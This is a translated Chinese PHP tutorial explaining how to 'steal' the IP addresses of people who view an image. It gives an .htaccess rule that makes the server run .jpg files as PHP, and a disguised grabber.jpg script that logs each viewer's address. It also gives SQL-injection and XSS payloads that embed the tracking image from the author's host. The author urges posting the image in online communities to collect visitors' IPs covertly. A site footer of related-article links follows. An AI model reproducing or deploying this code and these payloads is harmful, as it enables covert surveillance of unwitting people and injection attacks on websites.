基于PHP实现通过照片获取ip地址


Posted in PHP onApril 26, 2016

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php
$fh = fopen(‘ip_list.txt', ‘a');
fwrite($fh, $_SERVER[‘REMOTE_ADDR'].”
“);
fclose($fh);
$im = imagecreatefromjpeg(“n00b.png”);
header(‘Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src=”http://leettime.net/idiots_test_lab/imageip/tryme.jpg”>&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

以上所述是小编给大家介绍的基于PHP实现通过照片获取ip地址的相关内容,希望对大家有所帮助!

PHP 相关文章推荐
php 动态添加记录
Mar 10 PHP
php使用Smarty的相关注意事项及访问变量的几种方式
Dec 08 PHP
PHP设计模式 注册表模式(多个类的注册)
Feb 05 PHP
php修改NetBeans默认字体的大小
Jul 02 PHP
php中将数组转成字符串并保存到数据库中的函数代码
Sep 29 PHP
PHP实现UTF-8文件BOM自动检测与移除实例
Nov 05 PHP
php读取远程gzip压缩网页的方法
Dec 29 PHP
php集成套件服务器xampp安装使用教程(适合第一次玩PHP的新手)
Jun 03 PHP
php安装ssh2扩展的方法【Linux平台】
Jul 20 PHP
php中简单的对称加密算法实现
Jan 05 PHP
php使用QueryList轻松采集js动态渲染页面方法
Sep 11 PHP
tp5框架内使用tp3.2分页的方法分析
May 05 PHP
各种快递查询--Api接口
Apr 26 #PHP
浅析Yii2集成富文本编辑器redactor实例教程
Apr 25 #PHP
Yii2增加验证码步骤详解
Apr 25 #PHP
Yii实现显示静态页的方法
Apr 25 #PHP
mysql_escape_string()函数用法分析
Apr 25 #PHP
PHP中addslashes与mysql_escape_string的区别分析
Apr 25 #PHP
PHP引用的调用方法分析
Apr 25 #PHP
You might like
利用文件属性结合Session实现在线人数统计
2006/10/09 PHP
Gregarius中文日期格式问题解决办法
2008/04/22 PHP
PHP采集利器 Snoopy 试用心得
2011/07/03 PHP
PHP实现合并discuz用户
2015/08/05 PHP
学习php设计模式 php实现享元模式(flyweight)
2015/12/07 PHP
jQuery.Validate 使用笔记(jQuery Validation范例 )
2010/06/25 Javascript
让ie6也支持websocket采用flash封装实现
2013/02/18 Javascript
js弹出窗口之弹出层的小例子
2013/06/17 Javascript
JS完整获取IE浏览器信息包括类型、版本、语言等等
2014/05/22 Javascript
jQuery添加/改变/移除CSS类及判断是否已经存在CSS
2014/08/20 Javascript
AngularJS基础 ng-options 指令详解
2016/08/02 Javascript
jQuery树形插件jquery.simpleTree.js用法分析
2016/09/05 Javascript
利用node.js如何创建子进程详解
2017/12/09 Javascript
利用jQuery+localStorage实现一个简易的计时器示例代码
2017/12/25 jQuery
解决Vue2.x父组件与子组件之间的双向绑定问题
2018/03/06 Javascript
js中怎么判断两个字符串相等的实例
2019/01/17 Javascript
js实现随机8位验证码
2020/07/24 Javascript
微信小程序实现星级评价
2019/11/20 Javascript
vue父子模板传值问题解决方法案例分析
2020/02/26 Javascript
Python字符串处理之count()方法的使用
2015/05/18 Python
Python中特殊函数集锦
2015/07/27 Python
Python实现基本线性数据结构
2016/08/22 Python
轻松实现TensorFlow微信跳一跳的AI
2018/01/05 Python
详解Python正则表达式re模块
2019/03/19 Python
Django 实现前端图片压缩功能的方法
2019/08/07 Python
Python利用requests模块下载图片实例代码
2019/08/12 Python
window7下的python2.7版本和python3.5版本的opencv-python安装过程
2019/10/24 Python
Python devel安装失败问题解决方案
2020/06/09 Python
详解移动端Html5页面中1px边框的几种解决方法
2018/07/24 HTML / CSS
linux下进程间通信的方式
2013/01/23 面试题
大学生个人事迹材料
2014/01/21 职场文书
食品安全承诺书范文
2014/08/29 职场文书
2016年大学生社会实践心得体会
2015/10/09 职场文书
2016年第十九届推普周活动总结
2016/04/06 职场文书
应用最多的公文《通知》如何写?
2019/04/02 职场文书
Oracle中日期的使用方法实例
2022/07/07 Oracle